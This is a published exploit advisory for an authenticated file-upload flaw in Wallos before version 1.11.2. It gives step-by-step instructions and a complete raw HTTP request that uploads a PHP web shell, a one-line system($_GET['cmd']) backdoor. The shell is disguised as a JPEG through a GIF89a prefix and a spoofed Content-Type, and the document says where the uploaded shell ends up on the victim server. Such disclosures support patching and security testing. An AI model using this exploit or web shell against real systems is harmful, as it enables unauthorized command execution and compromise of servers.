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Wallos Shell Upload

Wallos Shell Upload
Posted Mar 4, 2024
Authored by sML

Wallos versions prior to 1.11.2 suffer from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 77ba729fac9fbd6e562f329a83458d57ae71f13aaf4f55db7da1328097365d1a

Wallos Shell Upload

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# Exploit Title: Wallos - File Upload RCE (Authenticated)
# Date: 2024-03-04
# Exploit Author: sml@lacashita.com
# Vendor Homepage: https://github.com/ellite/Wallos
# Software Link: https://github.com/ellite/Wallos
# Version: < 1.11.2
# Tested on: Debian 12

Wallos allows you to upload an image/logo when you create a new subscription.
This can be bypassed to upload a malicious .php file.

POC
---

1) Log into the application.
2) Go to "New Subscription"
3) Upload Logo and choose your webshell .php
4) Make the Request changing Content-Type to image/jpeg and adding "GIF89a", it should be like:

--- SNIP -----------------

POST /endpoints/subscription/add.php HTTP/1.1

Host: 192.168.1.44

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.1.44/

Content-Type: multipart/form-data; boundary=---------------------------29251442139477260933920738324

Origin: http://192.168.1.44

Content-Length: 7220

Connection: close

Cookie: theme=light; language=en; PHPSESSID=6a3e5adc1b74b0f1870bbfceb16cda4b; theme=light

-----------------------------29251442139477260933920738324

Content-Disposition: form-data; name="name"

test

-----------------------------29251442139477260933920738324

Content-Disposition: form-data; name="logo"; filename="revshell.php"

Content-Type: image/jpeg

GIF89a;

<?php
system($_GET['cmd']);
?>

-----------------------------29251442139477260933920738324

Content-Disposition: form-data; name="logo-url"

----- SNIP -----

5) You will get the response that your file was uploaded ok:

{"status":"Success","message":"Subscription updated successfully"}


6) Your file will be located in:
http://VICTIM_IP/images/uploads/logos/XXXXXX-yourshell.php

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